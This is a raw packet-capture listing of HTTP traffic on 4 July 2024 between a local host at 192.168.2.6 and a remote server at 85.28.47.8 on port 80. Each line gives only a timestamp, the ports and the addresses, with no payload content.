                                                              Jul 4, 2024 11:16:17.227155924 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.227230072 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.227241039 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.227248907 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.227277994 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.227277994 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.227422953 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.227437019 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.227485895 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.263612032 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.263627052 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.263643980 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.263672113 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.263750076 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.263761044 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.263772964 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.263783932 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.263789892 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.263814926 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.263911009 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.263922930 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.263932943 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.263959885 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.263988018 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.264066935 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.264085054 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.264127970 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.264225006 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.264240026 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.264250040 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.264261007 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.264272928 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.264283895 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.264297009 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.264327049 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.264364004 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.264375925 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.264386892 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.264410019 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.264530897 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.264544010 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.264553070 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.264580965 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.264606953 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.264684916 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.264697075 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.264702082 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.264770985 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.264872074 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.264883995 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.264894009 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.264904976 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.264914989 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.264925957 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.264926910 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.264942884 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.264945984 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.264986038 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.265182972 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.265194893 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.265204906 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.265214920 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.265225887 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.265234947 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.265239954 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.265275955 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.265296936 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.265356064 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.265367985 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.265377045 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.265402079 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.274645090 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.274655104 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.274667025 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.274722099 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.274755955 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.274787903 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.274800062 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.274811029 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.274821997 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.274833918 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.274836063 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.274863958 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.274930954 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.274950027 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.274971008 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.275156021 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.275167942 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.275178909 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.275190115 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.275198936 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.275209904 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.275244951 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.275459051 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.275470972 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.275489092 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.275499105 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.275526047 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.275552988 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.275614023 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.275631905 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.275643110 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.275671005 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.275774002 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.275790930 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.275801897 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.275813103 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.275814056 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.275825024 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.275845051 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.275861979 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.275962114 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.275974989 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.275986910 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.275996923 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.276007891 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.276015043 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.276024103 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.276031971 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.276068926 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.276225090 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.276236057 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.276247025 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.276257992 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.276274920 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.276288986 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.276376009 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.276386976 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.276397943 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.276422024 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.277196884 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.277214050 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.277224064 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.277234077 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.277245045 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.277256012 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.277265072 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.277267933 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.277277946 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.277290106 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.277302027 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.277302027 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.277313948 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.277323008 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.277326107 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.277348042 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.277364969 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.277365923 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.277375937 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.277381897 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.277390003 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.277410984 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.277528048 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.277540922 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.277550936 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.277560949 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.277570009 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.277570963 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.277584076 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.277585030 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.277595043 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.277606964 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.277616024 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.277617931 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.277631998 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.277641058 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.277657032 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.277678967 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.278148890 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.318188906 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.318330050 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.318341970 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.318397999 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.318480015 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.318491936 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.318501949 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.318512917 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.318531036 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.318556070 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.319096088 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.319159985 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.353743076 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.353755951 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.353768110 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.353794098 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.353888988 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.353981972 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.354034901 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.354047060 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.354057074 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.354065895 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.354087114 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.354116917 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.354196072 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.354207039 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.354218006 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.354227066 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.354244947 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.354269028 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.354346037 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.354362011 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.354372978 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.354382038 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.354419947 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.354517937 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.354530096 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.354538918 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.354551077 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.354561090 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.354562044 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.354582071 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.354686022 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.354696989 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.354706049 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.354732037 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.354759932 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.354839087 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.354854107 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.354863882 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.354901075 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.354970932 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.354980946 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.355045080 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.355127096 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.355137110 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.355146885 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.355156898 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.355166912 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.355166912 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.355176926 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.355182886 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.355205059 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.355252981 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.355278015 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.355456114 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.355465889 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.355474949 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.355499983 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.355531931 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.355611086 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.355623007 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.355632067 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.355640888 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.355659008 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.355686903 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.364881039 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.365051985 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.365061998 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.365072966 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.365082979 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.365094900 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.365108013 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.365118980 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.365201950 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.365212917 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.365223885 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.365259886 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.365379095 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.365390062 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.365401030 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.365411043 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.365423918 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.365462065 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.365665913 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.365677118 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.365688086 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.365755081 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.365811110 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.365823030 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.365834951 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.365845919 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.365856886 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.365860939 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.365899086 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.366116047 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.366127968 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.366138935 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.366148949 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.366159916 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.366161108 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.366180897 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.366203070 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.366267920 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.366280079 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.366288900 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.366326094 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.366441011 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.366458893 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.366470098 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.366482019 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.366483927 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.366501093 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.366619110 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.366635084 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.366645098 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.366656065 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.366667032 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.366681099 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.366708994 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.366775036 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.366787910 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.366799116 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.366810083 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.366833925 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.366866112 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.366921902 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.366935015 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.366945982 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.366956949 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.366986036 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.367019892 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.367064953 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.367077112 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.367115974 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.367209911 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.367222071 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.367232084 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.367243052 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.367253065 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.367263079 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.367274046 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.367274046 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.367328882 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.367341995 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.367537022 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.367547989 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.367559910 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.367583990 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.367621899 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.367836952 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.367850065 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.367862940 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.367873907 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.367886066 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.367889881 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.367897034 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.367908001 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.367912054 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.367990971 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.408704996 CEST804972385.28.47.8192.168.2.6
